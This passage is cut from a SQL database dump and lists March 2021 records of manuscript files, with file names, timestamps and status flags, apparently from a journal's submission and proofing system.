05:16:23',1,2,0),(13328,6800,'6800-1755-Manuscript-2021-03-03.tif',NULL,'2021-03-03 05:16:24',1,2,0),(13338,7319,'7319-Manuscript-2021-03-03-3rmf-iphsj-21-7319.rar',NULL,'2021-03-03 09:07:09',1,3,1),(13339,7311,'7311-Manuscript-2021-03-03-4u6n-iphsj-21-7311.rar',NULL,'2021-03-03 09:26:29',1,3,1),(13346,7669,'7669-0-Manuscript-2021-03-03.docx',NULL,'2021-03-03 10:06:29',1,1,0),(13358,7080,'7080-Manuscript-2021-03-03-ac2v-iphsj-21-7080.rar',NULL,'2021-03-03 13:12:41',1,3,1),(13362,7677,'7677-0-Manuscript-2021-03-03.docx',NULL,'2021-03-03 16:18:25',1,1,0),(13363,7678,'7678-0-Manuscript-2021-03-04.pdf',NULL,'2021-03-03 19:35:13',1,1,0),(13365,7680,'7680-0-Manuscript-2021-03-04.docx',NULL,'2021-03-04 04:44:41',1,1,0),(13366,7487,'7487-1673-Manuscript-proof-submission-2021-03-04.docx',NULL,'2021-03-04 04:46:22',1,3,0),(13371,7080,'7080-Manuscript-2021-03-04-o1ix-graphic-completed.pdf',NULL,'2021-03-04 05:36:19',1,3,0),(13373,7311,'7311-Manuscript-2021-03-04-xy3e-graphic-completed.pdf',NULL,'2021-03-04 06:11:27',1,3,1),(13375,7319,'7319-Manuscript-2021-03-04-g56t-graphic-completed.pdf',NULL,'2021-03-04 06:33:08',1,3,1),(13379,7104,'7104-1676-Manuscript-proof-submission-2021-03-04.rar',NULL,'2021-03-04 06:43:38',1,3,1),(13380,7159,'7159-885-Manuscript-proof-submission-2021-03-04.docx',NULL,'2021-03-04 06:44:20',1,3,1),(13382,7080,'7080-Manuscript-2021-03-04-jq2h.pdf',NULL,'2021-03-04 08:34:08',1,3,0),(13401,7686,'7686-0-Manuscript-2021-03-05.docx',NULL,'2021-03-05 04:22:22',1,1,0),(13464,7693,'7693-0-Manuscript-2021-03-06.docx',NULL,'2021-03-05 21:11:18',1,1,0),(13471,6800,'6800-1766-Manuscript-proof-submission-2021-03-06.zip',NULL,'2021-03-06 06:37:28',1,3,0),(13477,7163,'7163-899-Manuscript-proof-submission-2021-03-06.zip',NULL,'2021-03-06 07:25:11',1,3,0),(13478,7163,'7163-Manuscript-2021-03-06-5uz0-ipjnn-21-7163.rar',NULL,'2021-03-06 10:09:30',1,3,1),(13481,7696,'7696-0-Manuscript-2021-03-07.pdf',NULL,'2021-03-07 11:21:26',1,1,0),(13491,7700,'7700-0-Manuscript-2021-03-08.docx',NULL,'2021-03-08 05:00:49',1,1,1),(13492,7700,'7700-1-Manuscript-2021-03-08.doc',NULL,'2021-03-08 05:00:49',1,1,0),(13517,7702,'7702-0-Manuscript-2021-03-08.pdf',NULL,'2021-03-08 14:08:09',1,1,0),(13526,7101,'7101-1257-Manuscript-proof-submission-2021-03-09.docx',NULL,'2021-03-09 04:36:26',1,3,0),(13547,7712,'7712-0-Manuscript-2021-03-09.docx',NULL,'2021-03-09 07:35:11',1,1,0),(13576,7101,'7101-Manuscript-2021-03-09-iwyk-iptb-21-7101.docx',NULL,'2021-03-09 10:18:39',1,3,0),(13587,7428,'7428-1154-Manuscript-proof-submission-2021-03-09.rar',NULL,'2021-03-09 13:49:04',1,3,0),(13599,7728,'7728-0-Manuscript-2021-03-10.docx',NULL,'2021-03-09 21:49:35',1,1,0),(13600,7729,'7729-0-Manuscript-2021-03-10.pdf',NULL,'2021-03-10 00:07:41',1,1,0),(13608,7163,'7163-Manuscript-2021-03-10-6bf8-graphic-completed.pdf',NULL,'2021-03-10 05:34:21',1,3,0),(13613,7101,'7101-Manuscript-2021-03-10-u3yg-ap-ame-revised.docx',NULL,'2021-03-10 06:45:05',1,3,0),(13618,7101,'7101-Manuscript-2021-03-10-igqf-iptb-21-7101.docx',NULL,'2021-03-10 07:17:55',1,3,1),(13620,7163,'7163-Manuscript-2021-03-10-90y6.pdf',NULL,'2021-03-10 07:52:32',1,3,1),(13624,7314,'7314-1529-Manuscript-proof-submission-2021-03-10.docx',NULL,'2021-03-10 09:19:36',1,3,1),(13625,7314,'7314-939-Manuscript-proof-submission-2021-03-10.docx',NULL,'2021-03-10 09:19:36',1,3,1),(13626,7314,'7314-46-Manuscript-proof-submission-2021-03-10.docx',NULL,'2021-03-10 09:19:36',1,3,1),(13633,7428,'7428-Manuscript-2021-03-10-sb6l-iptb-21-7428.docx',NULL,'2021-03-10 09:54:51',1,3,0),(13634,7459,'7459-512-Manuscript-proof-submission-2021-03-10.docx',NULL,'2021-03-10 10:06:47',1,3,0),(13639,7428,'7428-Manuscript-2021-03-10-ozcs-iptb-21-7428.docx',NULL,'2021-03-10 11:28:26',1,3,1),(13640,7101,'7101-Manuscript-2021-03-10-2kqi-move-pdf-making.docx',NULL,'2021-03-10 11:32:57',1,3,1),(13641,7734,'7734-0-Manuscript-2021-03-10.docx',NULL,'2021-03-10 12:01:53',1,1,0),(13642,7735,'7735-0-Manuscript-2021-03-10.docx',NULL,'2021-03-10 12:04:37',1,1,0),(13644,7428,'7428-Manuscript-2021-03-10-470w-rsuite-completed.pdf',NULL,'2021-03-10 12:54:18',1,3,0),(13645,7101,'7101-Manuscript-2021-03-10-deck-rsuite-completed.pdf',NULL,'2021-03-10 12:56:19',1,3,0),(13647,7428,'7428-Manuscript-2021-03-10-f90a-rsuite-completed.pdf',NULL,'2021-03-10 13:34:55',1,3,0),(13648,7428,'7428-Manuscript-2021-03-10-b830.pdf',NULL,'2021-03-10 13:41:35',1,3,0),(13652,7283,'7283-8-Manuscript-proof-submission-2021-03-11.rar',NULL,'2021-03-11 04:25:02',1,3,1),(13653,7332,'7332-1401-Manuscript-proof-submission-2021-03-11.rar',NULL,'2021-03-11 04:34:38',1,3,1),(13656,6800,'6800-745-Manuscript-proof-submission-2021-03-11.zip',NULL,'2021-03-11 05:03:50',1,3,0),(13657,7323,'7323-486-Manuscript-proof-submission-2021-03-11.rar',NULL,'2021-03-11 05:18:41',1,3,1),(13687,7741,'7741-0-Manuscript-2021-03-11.docx',NULL,'2021-03-11 07:55:24',1,1,0),(13697,7204,'7204-1065-Manuscript-proof-submission-2021-03-11.zip',NULL,'2021-03-11 09:10:58',1,3,0),(13698,7519,'7519-601-Manuscript-proof-submission-2021-03-11.rar',NULL,'2021-03-11 09:28:32',1,3,0),(13699,7493,'7493-660-Manuscript-proof-submission-2021-03-11.rar',NULL,'2021-03-11 09:29:03',1,3,0),(13703,7493,'7493-Manuscript-2021-03-11-2tz0-iphsj-21-7493.rar',NULL,'2021-03-11 09:53:51',1,3,1),(13704,7519,'7519-Manuscript-2021-03-11-bzsm-iphsj-21-7519.rar',NULL,'2021-03-11 09:54:55',1,3,1),(13708,7080,'7080-Manuscript-2021-03-11-7cpn-graphic-completed.pdf',NULL,'2021-03-11 10:16:41',1,3,1),(13709,7493,'7493-Manuscript-2021-03-11-zi72-graphic-completed.pdf',NULL,'2021-03-11 10:17:29',1,3,1),(13710,7519,'7519-Manuscript-2021-03-11-x1t9-graphic-completed.pdf',NULL,'2021-03-11 10:18:08',1,3,1),(13714,7428,'7428-Manuscript-2021-03-11-5cv6-rsuite-completed.pdf',NULL,'2021-03-11 11:30:35',1,3,1),(13720,7101,'7101-Manuscript-2021-03-11-zeyp-rsuite-completed.pdf',NULL,'2021-03-11 11:39:05',1,3,1),(13729,7746,'7746-0-Manuscript-2021-03-11.pdf',NULL,'2021-03-11 12:34:03',1,1,0),(13730,7747,'7747-0-Manuscript-2021-03-11.pdf',NULL,'2021-03-11 12:36:28',1,1,0),(13731,7748,'7748-0-Manuscript-2021-03-11.pdf',NULL,'2021-03-11 12:38:49',1,1,0),(13732,7749,'7749-0-Manuscript-2021-03-11.pdf',NULL,'2021-03-11 12:40:39',1,1,0),(13733,7750,'7750-0-Manuscript-2021-03-11.pdf',NULL,'2021-03-11 12:43:44',1,1,0),(13735,7751,'7751-0-Manuscript-2021-03-11.docx',NULL,'2021-03-11 13:57:35',1,1,0),(13742,7204,'7204-Manuscript-2021-03-11-x5ct-IPJUS-21-7204.rar',NULL,'2021-03-11 16:12:32',1,3,1),(13783,7763,'7763-0-Manuscript-2021-03-12.rtf',NULL,'2021-03-12 09:52:35',1,1,0),(13812,7776,'7776-0-Manuscript-2021-03-13.docx',NULL,'2021-03-13 13:09:28',1,1,0),(13815,7778,'7778-0-Manuscript-2021-03-13.docx',NULL,'2021-03-13 16:11:40',1,1,0),(13816,7779,'7779-0-Manuscript-2021-03-13.docx',NULL,'2021-03-13 16:53:09',1,1,0),(13840,7283,'7283-Manuscript-2021-03-15-iwj8-graphic-completed.pdf',NULL,'2021-03-15 06:15:42',1,3,1),(13842,7323,'7323-Manuscript-2021-03-15-yriv-graphic-completed.pdf',NULL,'2021-03-15 06:16:31',1,3,1),(13843,7332,'7332-Manuscript-2021-03-15-9mhs-graphic-completed.pdf',NULL,'2021-03-15 06:17:27',1,3,1),(13851,7204,'7204-Manuscript-2021-03-15-ujd2-graphic-completed.pdf',NULL,'2021-03-15 10:11:25',1,3,1),(13857,7067,'7067-Manuscript-2021-03-15-gsj0-graphic-completed.pdf',NULL,'2021-03-15 11:29:47',1,3,0),(13870,7806,'7806-0-Manuscript-2021-03-16.docx',NULL,'2021-03-15 21:47:08',1,1,0),(13907,7746,'7746-1869-Manuscript-proof-submission-2021-03-16.docx',NULL,'2021-03-16 06:06:50',1,3,0),(13908,7747,'7747-1896-Manuscript-proof-submission-2021-03-16.docx',NULL,'2021-03-16 06:07:47',1,3,0),(13909,7748,'7748-834-Manuscript-proof-submission-2021-03-16.docx',NULL,'2021-03-16 06:08:02',1,3,0),(13910,7749,'7749-1319-Manuscript-proof-submission-2021-03-16.docx',NULL,'2021-03-16 06:08:18',1,3,0),(13911,7750,'7750-314-Manuscript-proof-submission-2021-03-16.docx',NULL,'2021-03-16 06:08:33',1,3,0),(13935,7279,'7279-1123-Manuscript-proof-submission-2021-03-16.zip',NULL,'2021-03-16 09:59:17',1,3,0),(13947,7662,'7662-1305-Manuscript-proof-submission-2021-03-16.rar',NULL,'2021-03-16 12:28:26',1,3,0),(13950,7400,'7400-1506-Manuscript-proof-submission-2021-03-16.docx',NULL,'2021-03-16 12:41:20',1,3,0),(13951,7401,'7401-662-Manuscript-proof-submission-2021-03-16.docx',NULL,'2021-03-16 12:41:51',1,3,0),(13952,7402,'7402-277-Manuscript-proof-submission-2021-03-16.docx',NULL,'2021-03-16 12:42:08',1,3,0),(13953,7404,'7404-1380-Manuscript-proof-submission-2021-03-16.docx',NULL,'2021-03-16 12:42:50',1,3,0),(13954,7405,'7405-474-Manuscript-proof-submission-2021-03-16.docx',NULL,'2021-03-16 12:43:28',1,3,0),(13970,7067,'7067-Manuscript-2021-03-17-xvc0.pdf',NULL,'2021-03-17 06:26:51',1,3,0),(13971,7663,'7663-1085-Manuscript-proof-submission-2021-03-17.rar',NULL,'2021-03-17 06:52:44',1,3,0),(13974,7279,'7279-Manuscript-2021-03-17-ov1q-ipaom-21-7279.rar',NULL,'2021-03-17 08:03:19',1,3,1),(13978,7663,'7663-Manuscript-2021-03-17-7wjx-iphsj-21-7663.rar',NULL,'2021-03-17 08:48:12',1,3,1),(13979,7662,'7662-Manuscript-2021-03-17-tvu6-iphsj-21-7662.rar',NULL,'2021-03-17 08:52:59',1,3,1),(13980,7067,'7067-Manuscript-2021-03-17-t2bv-graphic-completed.pdf',NULL,'2021-03-17 09:11:22',1,3,1),(13983,7830,'7830-0-Manuscript-2021-03-17.docx',NULL,'2021-03-17 09:37:48',1,1,0),(13986,7649,'7649-1809-Manuscript-proof-submission-2021-03-17.rar',NULL,'2021-03-17 10:12:21',1,3,0),(13993,7832,'7832-0-Manuscript-2021-03-17.docx',NULL,'2021-03-17 11:57:03',1,1,0),(13997,7400,'7400-Manuscript-2021-03-17-2hg7-IPJUS-21-7400.docx',NULL,'2021-03-17 14:36:11',1,3,0),(13998,7401,'7401-Manuscript-2021-03-17-fqmh-IPJUS-21-7401.docx',NULL,'2021-03-17 14:36:24',1,3,0),(13999,7402,'7402-Manuscript-2021-03-17-yc5q-IPJUS-21-7402.docx',NULL,'2021-03-17 14:36:40',1,3,0),(14000,7404,'7404-Manuscript-2021-03-17-j8k2-IPJUS-21-7404.docx',NULL,'2021-03-17 14:36:53',1,3,0),(14001,7405,'7405-Manuscript-2021-03-17-ey6s-IPJUS-21-7405.docx',NULL,'2021-03-17 14:37:05',1,3,0),(14002,7746,'7746-Manuscript-2021-03-17-uo8n-IPJUS-21-7746.docx',NULL,'2021-03-17 14:52:17',1,3,0),(14003,7747,'7747-Manuscript-2021-03-17-zeob-IPJUS-21-7747.docx',NULL,'2021-03-17 14:52:29',1,3,0),(14004,7748,'7748-Manuscript-2021-03-17-vzws-IPJUS-21-7748.docx',NULL,'2021-03-17 14:52:42',1,3,0),(14005,7749,'7749-Manuscript-2021-03-17-mc98-IPJUS-21-7749.docx',NULL,'2021-03-17 14:52:55',1,3,0),(14006,7750,'7750-Manuscript-2021-03-17-uw90-IPJUS-21-7750.docx',NULL,'2021-03-17 14:53:09',1,3,0),(14011,7649,'7649-Manuscript-2021-03-18-6ybl-iphsj-21-7649.rar',NULL,'2021-03-18 04:25:11',1,3,1),(14014,7649,'7649-Manuscript-2021-03-18-ivnc-graphic-completed.pdf',NULL,'2021-03-18 06:48:02',1,3,1),(14015,7662,'7662-Manuscript-2021-03-18-lryd-graphic-completed.pdf',NULL,'2021-03-18 06:48:10',1,3,1),(14016,7663,'7663-Manuscript-2021-03-18-86vs-graphic-completed.pdf',NULL,'2021-03-18 06:48:21',1,3,1),(14019,7063,'7063-1647-Manuscript-proof-submission-2021-03-18.docx',NULL,'2021-03-18 07:03:58',1,3,0),(14026,7400,'7400-Manuscript-2021-03-18-rb86-graphic-completed.pdf',NULL,'2021-03-18 09:57:22',1,3,0),(14027,7401,'7401-Manuscript-2021-03-18-bzp2-graphic-completed.pdf',NULL,'2021-03-18 10:03:06',1,3,0),(14028,7402,'7402-Manuscript-2021-03-18-9fzy-graphic-completed.pdf',NULL,'2021-03-18 10:09:33',1,3,0),(14030,7404,'7404-Manuscript-2021-03-18-m4jw-graphic-completed.pdf',NULL,'2021-03-18 10:14:54',1,3,0),(14032,7405,'7405-Manuscript-2021-03-18-8n1p-graphic-completed.pdf',NULL,'2021-03-18 10:19:12',1,3,0),(14033,7746,'7746-Manuscript-2021-03-18-df3k-graphic-completed.pdf',NULL,'2021-03-18 11:19:03',1,3,0),(14034,7747,'7747-Manuscript-2021-03-18-fry7-graphic-completed.pdf',NULL,'2021-03-18 11:23:57',1,3,0),(14035,7748,'7748-Manuscript-2021-03-18-avpr-graphic-completed.pdf',NULL,'2021-03-18 11:29:03',1,3,0),(14036,7749,'7749-Manuscript-2021-03-18-lqpx-graphic-completed.pdf',NULL,'2021-03-18 11:33:20',1,3,0),(14037,7750,'7750-Manuscript-2021-03-18-igw7-graphic-completed.pdf',NULL,'2021-03-18 11:40:59',1,3,0),(14049,7421,'7421-1478-Manuscript-proof-submission-2021-03-18.docx',NULL,'2021-03-18 13:41:32',1,3,0),(14050,7421,'7421-1408-Manuscript-proof-submission-2021-03-18.docx',NULL,'2021-03-18 13:41:32',1,3,0),(14051,7421,'7421-1635-Manuscript-proof-submission-2021-03-18.docx',NULL,'2021-03-18 13:41:33',1,3,0),(14052,7421,'7421-245-Manuscript-proof-submission-2021-03-18.docx',NULL,'2021-03-18 13:41:33',1,3,0),(14059,7843,'7843-0-Manuscript-2021-03-19.docx',NULL,'2021-03-18 22:02:40',1,1,0),(14066,7095,'7095-685-Manuscript-proof-submission-2021-03-19.rar',NULL,'2021-03-19 04:11:25',1,3,1),(14097,7275,'7275-1427-Manuscript-proof-submission-2021-03-19.zip',NULL,'2021-03-19 07:02:18',1,3,0),(14110,7275,'7275-Manuscript-2021-03-19-shj6-ipjnn-21-7275.rar',NULL,'2021-03-19 09:41:50',1,3,1),(14113,7520,'7520-1958-Manuscript-proof-submission-2021-03-19.docx',NULL,'2021-03-19 11:52:06',1,3,0),(14114,7275,'7275-Manuscript-2021-03-19-glwt-graphic-completed.pdf',NULL,'2021-03-19 12:05:16',1,3,1),(14130,7421,'7421-Manuscript-2021-03-20-891x-ipacm-21-7421.rar',NULL,'2021-03-20 05:53:42',1,3,0),(14134,7854,'7854-0-Manuscript-2021-03-20.docx',NULL,'2021-03-20 06:29:47',1,1,0),(14158,7590,'7590-544-Manuscript-proof-submission-2021-03-20.docx',NULL,'2021-03-20 15:35:30',1,3,0),(14159,7590,'7590-833-Manuscript-proof-submission-2021-03-20.docx',NULL,'2021-03-20 15:35:30',1,3,0),(14160,7590,'7590-1459-Manuscript-proof-submission-2021-03-20.docx',NULL,'2021-03-20 15:35:40',1,3,0),(14161,7590,'7590-1763-Manuscript-proof-submission-2021-03-20.docx',NULL,'2021-03-20 15:35:40',1,3,0),(14179,7868,'7868-0-Manuscript-2021-03-21.docx',NULL,'2021-03-21 15:35:49',1,1,0),(14180,7868,'7868-1-Manuscript-2021-03-21.docx',NULL,'2021-03-21 15:35:49',1,1,0),(14181,7868,'7868-2-Manuscript-2021-03-21.docx',NULL,'2021-03-21 15:35:49',1,1,0),(14189,7871,'7871-0-Manuscript-2021-03-22.docx',NULL,'2021-03-21 19:29:21',1,1,0),(14207,7511,'7511-1782-Manuscript-proof-submission-2021-03-22.rar',NULL,'2021-03-22 06:26:57',1,3,0),(14208,7686,'7686-830-Manuscript-proof-submission-2021-03-22.docx',NULL,'2021-03-22 06:45:27',1,3,0),(14209,7314,'7314-Manuscript-2021-03-22-r7ts-graphic-completed.pdf',NULL,'2021-03-22 07:01:31',1,3,0),(14210,7279,'7279-Manuscript-2021-03-22-mrb5-graphic-completed.pdf',NULL,'2021-03-22 07:11:22',1,3,0),(14244,7627,'7627-418-Manuscript-proof-submission-2021-03-22.rar',NULL,'2021-03-22 11:23:05',1,3,0),(14251,7511,'7511-Manuscript-2021-03-22-95p0-iphsj-21-7511.rar',NULL,'2021-03-22 12:24:33',1,3,1),(14252,7590,'7590-Manuscript-2021-03-22-ztfn-rsuite-completed.pdf',NULL,'2021-03-22 12:38:17',1,3,0),(14256,7627,'7627-Manuscript-2021-03-22-4yug-iphsj-21-7627.rar',NULL,'2021-03-22 12:42:52',1,3,1),(14263,7883,'7883-0-Manuscript-2021-03-22.docx',NULL,'2021-03-22 16:18:20',1,1,0),(14271,7887,'7887-0-Manuscript-2021-03-23.docx',NULL,'2021-03-23 02:55:48',1,1,0),(14272,7888,'7888-0-Manuscript-2021-03-23.docx',NULL,'2021-03-23 04:01:26',1,1,0),(14273,7728,'7728-366-Manuscript-proof-submission-2021-03-23.rar',NULL,'2021-03-23 04:12:44',1,3,0),(14285,7728,'7728-Manuscript-2021-03-23-c9i5-iphsj-21-7728.rar',NULL,'2021-03-23 05:51:58',1,3,1),(14309,7897,'7897-0-Manuscript-2021-03-23.docx',NULL,'2021-03-23 09:21:14',1,1,0),(14310,7897,'7897-1-Manuscript-2021-03-23.docx',NULL,'2021-03-23 09:21:14',1,1,0),(14311,7897,'7897-2-Manuscript-2021-03-23.png',NULL,'2021-03-23 09:21:14',1,1,0),(14312,7897,'7897-3-Manuscript-2021-03-23.png',NULL,'2021-03-23 09:21:14',1,1,0),(14319,7574,'7574-1666-Manuscript-proof-submission-2021-03-23.pdf',NULL,'2021-03-23 10:12:43',1,3,0),(14320,7574,'7574-1355-Manuscript-proof-submission-2021-03-23.docx',NULL,'2021-03-23 10:12:43',1,3,0),(14327,7903,'7903-0-Manuscript-2021-03-23.docx',NULL,'2021-03-23 11:20:02',1,1,0),(14331,7905,'7905-0-Manuscript-2021-03-23.docx',NULL,'2021-03-23 11:59:24',1,1,0),(14336,7568,'7568-1693-Manuscript-proof-submission-2021-03-23.pdf',NULL,'2021-03-23 12:11:43',1,3,0),(14337,7568,'7568-1822-Manuscript-proof-submission-2021-03-23.docx',NULL,'2021-03-23 12:11:43',1,3,0),(14357,7592,'7592-782-Manuscript-2021-03-24.docx',NULL,'2021-03-24 05:12:32',1,1,0),(14375,7911,'7911-0-Manuscript-2021-03-24.docx',NULL,'2021-03-24 08:32:59',1,1,0),(14383,6915,'6915-Manuscript-2021-03-24-erbz-ipacm-20-6915.rar',NULL,'2021-03-24 09:35:57',1,3,0),(14387,7063,'7063-184-Manuscript-proof-submission-2021-03-24.PNG',NULL,'2021-03-24 10:09:48',1,3,0),(14388,7063,'7063-528-Manuscript-proof-submission-2021-03-24.PNG',NULL,'2021-03-24 10:09:48',1,3,0),(14389,7063,'7063-2013-Manuscript-proof-submission-2021-03-24.PNG',NULL,'2021-03-24 10:09:48',1,3,0),(14390,7063,'7063-1751-Manuscript-proof-submission-2021-03-24.docx',NULL,'2021-03-24 10:09:48',1,3,0),(14406,7686,'7686-Manuscript-2021-03-24-9s5n-ipjbs-21-7686.docx',NULL,'2021-03-24 13:00:33',1,3,0),(14414,7924,'7924-0-Manuscript-2021-03-24.docx',NULL,'2021-03-24 18:10:20',1,1,0),(14415,7924,'7924-1-Manuscript-2021-03-24.docx',NULL,'2021-03-24 18:10:20',1,1,0),(14416,7924,'7924-2-Manuscript-2021-03-24.docx',NULL,'2021-03-24 18:10:20',1,1,0),(14418,7926,'7926-0-Manuscript-2021-03-25.pdf',NULL,'2021-03-24 22:17:59',1,1,0),(14439,7929,'7929-0-Manuscript-2021-03-25.docx',NULL,'2021-03-25 05:51:29',1,1,0),(14443,7511,'7511-Manuscript-2021-03-25-7203-graphic-completed.pdf',NULL,'2021-03-25 06:10:45',1,3,1),(14444,7627,'7627-Manuscript-2021-03-25-t0zv-graphic-completed.pdf',NULL,'2021-03-25 06:11:52',1,3,1),(14445,7728,'7728-Manuscript-2021-03-25-zfjq-graphic-completed.pdf',NULL,'2021-03-25 06:12:11',1,3,1),(14446,7557,'7557-161-Manuscript-proof-submission-2021-03-25.zip',NULL,'2021-03-25 06:23:21',1,3,0),(14447,6973,'6973-712-Manuscript-proof-submission-2021-03-25.docx',NULL,'2021-03-25 06:31:04',1,3,1),(14448,6973,'6973-954-Manuscript-proof-submission-2021-03-25.PNG',NULL,'2021-03-25 06:31:05',1,3,0),(14449,6973,'6973-65-Manuscript-proof-submission-2021-03-25.PNG',NULL,'2021-03-25 06:31:05',1,3,0),(14450,6973,'6973-564-Manuscript-proof-submission-2021-03-25.PNG',NULL,'2021-03-25 06:31:05',1,3,0),(14453,7930,'7930-0-Manuscript-2021-03-25.docx',NULL,'2021-03-25 06:31:36',1,1,0),(14454,7930,'7930-1-Manuscript-2021-03-25.docx',NULL,'2021-03-25 06:31:36',1,1,0),(14455,7930,'7930-2-Manuscript-2021-03-25.pdf',NULL,'2021-03-25 06:31:36',1,1,0),(14456,7930,'7930-3-Manuscript-2021-03-25.pdf',NULL,'2021-03-25 06:31:37',1,1,0),(14460,7931,'7931-0-Manuscript-2021-03-25.docx',NULL,'2021-03-25 06:44:36',1,1,1),(14471,7933,'7933-0-Manuscript-2021-03-25.docx',NULL,'2021-03-25 08:13:35',1,1,0),(14477,7257,'7257-1097-Manuscript-proof-submission-2021-03-25.docx',NULL,'2021-03-25 08:57:09',1,3,0),(14478,7257,'7257-671-Manuscript-proof-submission-2021-03-25.docx',NULL,'2021-03-25 08:57:09',1,3,0),(14479,6959,'6959-361-Manuscript-proof-submission-2021-03-25.docx',NULL,'2021-03-25 08:59:20',1,3,0),(14480,6959,'6959-1913-Manuscript-proof-submission-2021-03-25.docx',NULL,'2021-03-25 08:59:20',1,3,0),(14481,7257,'7257-Manuscript-2021-03-25-4h5z-ijddr-21-7257.docx',NULL,'2021-03-25 09:02:52',1,3,1),(14484,7063,'7063-Manuscript-2021-03-25-n2p0-iptb-21-7063.docx',NULL,'2021-03-25 10:18:35',1,3,0),(14491,7520,'7520-Manuscript-2021-03-25-2rgh-ipjbs-21-7520.docx',NULL,'2021-03-25 12:30:57',1,3,0),(14493,7557,'7557-Manuscript-2021-03-25-eo16-ipjnn-21-7557.rar',NULL,'2021-03-25 12:42:46',1,3,1),(14516,7520,'7520-Manuscript-2021-03-26-twic-ap-ame-revised.docx',NULL,'2021-03-26 04:34:15',1,3,0),(14521,7520,'7520-Manuscript-2021-03-26-326z-ipjbs-21-7520.docx',NULL,'2021-03-26 04:51:48',1,3,0),(14524,7763,'7763-692-Manuscript-proof-submission-2021-03-26.rar',NULL,'2021-03-26 05:14:12',1,3,0),(14525,7943,'7943-0-Manuscript-2021-03-26.docx',NULL,'2021-03-26 06:01:17',1,1,0),(14526,7944,'7944-0-Manuscript-2021-03-26.docx',NULL,'2021-03-26 06:02:52',1,1,0),(14528,7946,'7946-0-Manuscript-2021-03-26.docx',NULL,'2021-03-26 06:14:44',1,1,0),(14530,7095,'7095-Manuscript-2021-03-26-mkfr-graphic-completed.pdf',NULL,'2021-03-26 06:24:59',1,3,1),(14535,7257,'7257-Manuscript-2021-03-26-3yzd-rsuite-completed.pdf',NULL,'2021-03-26 07:26:28',1,3,0),(14540,7700,'7700-461-Manuscript-proof-submission-2021-03-26.rar',NULL,'2021-03-26 07:58:52',1,3,0),(14541,7763,'7763-Manuscript-2021-03-26-6xoy-iphsj-21-7763.rar',NULL,'2021-03-26 08:01:45',1,3,1),(14545,7424,'7424-1748-Manuscript-2021-03-26.docx',NULL,'2021-03-26 08:19:46',1,2,0),(14548,7700,'7700-Manuscript-2021-03-26-cd7i-graphic-completed.pdf',NULL,'2021-03-26 08:35:02',1,3,1),(14554,7557,'7557-Manuscript-2021-03-26-7kmx-graphic-completed.pdf',NULL,'2021-03-26 09:30:06',1,3,0),(14557,7763,'7763-Manuscript-2021-03-26-3wed-graphic-completed.pdf',NULL,'2021-03-26 09:43:01',1,3,1),(14562,7257,'7257-Manuscript-2021-03-26-7wbq-ap-ame-revised.pdf',NULL,'2021-03-26 10:20:38',1,3,0),(14569,7911,'7911-1801-Manuscript-proof-submission-2021-03-26.docx',NULL,'2021-03-26 11:37:53',1,3,0),(14585,7911,'7911-Manuscript-2021-03-26-uhbf-IPJUS-21-7911.docx',NULL,'2021-03-26 13:48:18',1,3,1),(14587,7557,'7557-Manuscript-2021-03-26-iazv.pdf',NULL,'2021-03-26 14:05:30',1,3,1),(14589,7969,'7969-0-Manuscript-2021-03-26.docx',NULL,'2021-03-26 14:40:11',1,1,0),(14636,7979,'7979-0-Manuscript-2021-03-27.pdf',NULL,'2021-03-27 09:51:47',1,1,0),(14637,7980,'7980-0-Manuscript-2021-03-27.pdf',NULL,'2021-03-27 09:54:55',1,1,0),(14668,7990,'7990-0-Manuscript-2021-03-28.docx',NULL,'2021-03-28 15:31:03',1,1,0),(14671,7992,'7992-0-Manuscript-2021-03-28.docx',NULL,'2021-03-28 17:26:08',1,1,0),(14679,7993,'7993-0-Manuscript-2021-03-29.docx',NULL,'2021-03-29 05:17:07',1,1,0),(14680,7419,'7419-612-Manuscript-proof-submission-2021-03-29.rar',NULL,'2021-03-29 05:31:47',1,3,0),(14727,8000,'8000-0-Manuscript-2021-03-29.docx',NULL,'2021-03-29 09:24:36',1,1,0),(14728,8001,'8001-0-Manuscript-2021-03-29.docx',NULL,'2021-03-29 09:25:35',1,1,0),(14745,7419,'7419-Manuscript-2021-03-29-qy7k-iphsj-21-7419.rar',NULL,'2021-03-29 10:58:34',1,3,1),(14751,7806,'7806-1821-Manuscript-proof-submission-2021-03-29.rar',NULL,'2021-03-29 11:30:19',1,3,0),(14762,8008,'8008-0-Manuscript-2021-03-29.docx',NULL,'2021-03-29 11:49:32',1,1,0),(14785,8012,'8012-0-Manuscript-2021-03-30.docx',NULL,'2021-03-29 21:30:31',1,1,0),(14787,8014,'8014-0-Manuscript-2021-03-30.docx',NULL,'2021-03-30 04:04:16',1,1,0),(14789,8015,'8015-0-Manuscript-2021-03-30.docx',NULL,'2021-03-30 04:15:26',1,1,0),(14790,8015,'8015-1-Manuscript-2021-03-30.docx',NULL,'2021-03-30 04:15:26',1,1,0),(14803,8019,'8019-0-Manuscript-2021-03-30.docx',NULL,'2021-03-30 05:26:38',1,1,0),(14816,7806,'7806-Manuscript-2021-03-30-26hn-iphsj-21-7806.rar',NULL,'2021-03-30 05:58:30',1,3,1),(14824,6973,'6973-741-Manuscript-proof-submission-2021-03-30.docx',NULL,'2021-03-30 06:22:23',1,3,0),(14825,6973,'6973-246-Manuscript-proof-submission-2021-03-30.PNG',NULL,'2021-03-30 06:22:24',1,3,0),(14826,6973,'6973-1646-Manuscript-proof-submission-2021-03-30.PNG',NULL,'2021-03-30 06:22:24',1,3,0),(14827,6973,'6973-685-Manuscript-proof-submission-2021-03-30.PNG',NULL,'2021-03-30 06:22:24',1,3,1),(14830,7063,'7063-Manuscript-2021-03-30-y23x-ap-ame-revised.docx',NULL,'2021-03-30 06:24:52',1,3,0),(14834,7806,'7806-Manuscript-2021-03-30-7vne-graphic-completed.pdf',NULL,'2021-03-30 06:47:09',1,3,1),(14836,7520,'7520-Manuscript-2021-03-30-besu-move-pdf-making.pdf',NULL,'2021-03-30 07:01:45',1,3,0),(14840,7063,'7063-Manuscript-2021-03-30-06g4-iptb-21-7063.docx',NULL,'2021-03-30 07:20:13',1,3,0),(14841,7520,'7520-Manuscript-2021-03-30-3pa4-graphic-completed.pdf',NULL,'2021-03-30 07:24:11',1,3,0),(14846,8008,'8008-844-Manuscript-proof-submission-2021-03-30.docx',NULL,'2021-03-30 08:47:21',1,3,0),(14847,7993,'7993-294-Manuscript-proof-submission-2021-03-30.docx',NULL,'2021-03-30 08:47:56',1,3,0),(14848,7063,'7063-Manuscript-2021-03-30-7k0n-ap-ame-revised.docx',NULL,'2021-03-30 